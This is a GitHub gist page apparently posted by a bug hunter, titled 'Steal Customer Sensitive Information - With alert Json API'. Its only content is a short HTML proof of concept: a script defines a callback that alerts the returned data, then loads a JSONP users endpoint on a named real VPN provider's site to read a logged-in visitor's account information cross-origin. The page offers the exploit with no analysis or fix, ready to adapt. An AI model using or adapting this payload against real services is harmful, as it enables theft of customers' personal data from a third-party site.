Skip to content

Instantly share code, notes, and snippets.

@andripwn

andripwn/json-exploit.html

Created February 8, 2020 17:12
Show Gist options
  • Save andripwn/3c2f614e815ab07cf993d398e0a1a082 to your computer and use it in GitHub Desktop.
Save andripwn/3c2f614e815ab07cf993d398e0a1a082 to your computer and use it in GitHub Desktop.
Download ZIP
Steal Customer Sensitive Information - With alert Json API
Raw
json-exploit.html
<script>
function rip(a) {
alert(JSON.stringify(a[1]));
}
</script>
<script src="https://join.nordvpn.com/api/v1/users?callback=rip"></script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment